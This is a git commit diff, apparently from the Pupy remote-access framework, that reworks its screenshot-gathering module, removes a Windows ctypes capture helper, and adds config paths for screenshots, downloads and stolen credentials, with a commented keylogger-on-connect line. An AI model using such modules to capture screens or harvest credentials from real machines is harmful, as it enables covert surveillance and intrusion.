Use MSS for screenshots (works on Linux/Mac/Win)

This commit is contained in:
Oleksii Shevchuk 2016-12-02 19:12:36 +02:00
parent 777d5a71d2
commit f16f65b66f
5 changed files with 15 additions and 159 deletions

View File

@ -31,17 +31,17 @@
# --------------------------------------------------------------
from pupylib.PupyModule import *
from pupylib.PupyConfig import PupyConfig
from os import path
import time
import datetime
import subprocess
__class_name__="screenshoter"
__class_name__="Screenshoter"
@config(cat="gather")
class screenshoter(PupyModule):
class Screenshoter(PupyModule):
""" take a screenshot :) """
dependencies = ['mss', 'screenshot']
@ -66,20 +66,21 @@ class screenshoter(PupyModule):
'({}x{})'.format(screen['top'], screen['left'])))
return
config = PupyConfig()
folder = config.get_folder('screenshots', {'%c': self.client.short_name()})
screenshots, error = rscreenshot.screenshot(args.screen)
if not screenshots:
self.error(error)
else:
self.success('number of monitor detected: %s' % str(len(screenshots)))
for screenshot in screenshots:
filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png")
for i, screenshot in enumerate(screenshots):
filepath = path.join(folder, str(datetime.datetime.now()).replace(" ","_").replace(":","-")+'-'+str(i)+".png")
with open(filepath, 'w') as out:
out.write(screenshot)
# sleep used to be sure the file name will be different between 2 differents screenshots
time.sleep(1)
self.success(filepath)
# if args.view:
# viewer = config.get('default_viewers', 'image_viewer')
# subprocess.Popen([viewer, output])
if args.view:
viewer = config.get('default_viewers', 'image_viewer')
subprocess.Popen([viewer, filepath])

View File

@ -5,7 +5,6 @@ import struct
from zlib import compress, crc32
def _to_png(data, width, height):
# From MSS
line = width * 3
png_filter = struct.pack('>B', 0)

View File

@ -1,145 +0,0 @@
#code from http://tiger-222.fr/?d=2013/08/05/21/35/31-windows-capture-decran
from ctypes import (
byref, memset, pointer, sizeof, windll,
c_void_p as LPRECT,
c_void_p as LPVOID,
create_string_buffer,
Structure,
POINTER,
WINFUNCTYPE,
)
import ctypes.wintypes
from ctypes.wintypes import (
BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ,
HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD
)
class BITMAPINFOHEADER(Structure):
_fields_ = [
('biSize', DWORD),
('biWidth', LONG),
('biHeight', LONG),
('biPlanes', WORD),
('biBitCount', WORD),
('biCompression', DWORD),
('biSizeImage', DWORD),
('biXPelsPerMeter', LONG),
('biYPelsPerMeter', LONG),
('biClrUsed', DWORD),
('biClrImportant', DWORD)
]
class BITMAPINFO(Structure):
_fields_ = [
('bmiHeader', BITMAPINFOHEADER),
('bmiColors', DWORD * 3)
]
# Initilisations
SM_XVIRTUALSCREEN = 76 # Coordonnée gauche *
SM_YVIRTUALSCREEN = 77 # Coordonnée haute *
SM_CXVIRTUALSCREEN = 78 # Largeur *
SM_CYVIRTUALSCREEN = 79 # Hauteur *
SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()
DIB_RGB_COLORS = 0
GetSystemMetrics = windll.user32.GetSystemMetrics
EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
GetWindowDC = windll.user32.GetWindowDC
CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
SelectObject = windll.gdi32.SelectObject
BitBlt = windll.gdi32.BitBlt
GetDIBits = windll.gdi32.GetDIBits
DeleteObject = windll.gdi32.DeleteObject
# Type des arguments
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
POINTER(RECT), DOUBLE)
GetSystemMetrics.argtypes = [INT]
EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
GetWindowDC.argtypes = [HWND]
CreateCompatibleDC.argtypes = [HDC]
CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
SelectObject.argtypes = [HDC, HGDIOBJ]
BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
DeleteObject.argtypes = [HGDIOBJ]
GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
POINTER(BITMAPINFO), UINT]
# Type de fonction
GetSystemMetrics.restypes = INT
EnumDisplayMonitors.restypes = BOOL
GetWindowDC.restypes = HDC
CreateCompatibleDC.restypes = HDC
CreateCompatibleBitmap.restypes = HBITMAP
SelectObject.restypes = HGDIOBJ
BitBlt.restypes = BOOL
GetDIBits.restypes = INT
DeleteObject.restypes = BOOL
def enum_display_monitors(oneshot=False):
def _callback(monitor, dc, rect, data):
rct = rect.contents
results.append({
b'left' : int(rct.left),
b'top' : int(rct.top),
b'width' : int(rct.right - rct.left),
b'height': int(rct.bottom -rct.top)
})
return 1
results = []
if oneshot:
left = GetSystemMetrics(SM_XVIRTUALSCREEN)
right = GetSystemMetrics(SM_CXVIRTUALSCREEN)
top = GetSystemMetrics(SM_YVIRTUALSCREEN)
bottom = GetSystemMetrics(SM_CYVIRTUALSCREEN)
results.append({
b'left' : int(left),
b'top' : int(top),
b'width' : int(right - left),
b'height': int(bottom - top)
})
else:
callback = MONITORENUMPROC(_callback)
EnumDisplayMonitors(0, 0, callback, 0)
return results
def get_pixels(monitor):
width, height = monitor['width'], monitor['height']
left, top = monitor['left'], monitor['top']
srcdc = GetWindowDC(0)
memdc = CreateCompatibleDC(srcdc)
bmp = CreateCompatibleBitmap(srcdc, width, height)
try:
SelectObject(memdc, bmp)
BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
bmi = BITMAPINFO()
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
bmi.bmiHeader.biWidth = width
bmi.bmiHeader.biHeight = height
bmi.bmiHeader.biBitCount = 24
bmi.bmiHeader.biPlanes = 1
buffer_len = height * ((width * 3 + 3) & -4)
pixels = create_string_buffer(buffer_len)
bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
pointer(bmi), DIB_RGB_COLORS)
finally:
DeleteObject(srcdc)
DeleteObject(memdc)
DeleteObject(bmp)
if bits != height or len(pixels.raw) != buffer_len:
raise ValueError('MSSWindows: GetDIBits() failed.')
return pixels.raw

View File

@ -4,8 +4,6 @@
transport = ssl
port = 443
ipv6 = true
keyfile = crypto/server.pem
certfile = crypto/cert.pem
[cmdline]
display_banner = yes
@ -13,7 +11,9 @@ colors = yes
[paths]
prefer_workdir = no
# downloads = /tmp/downloads/%
downloads = data/downloads/%c
screenshots = data/screenshots/%c
creds = data/db/%c
[on_connect]
#run_module = gather/keylogger start

View File

@ -12,3 +12,4 @@ netifaces
mss
m2crypto
pylzma
mss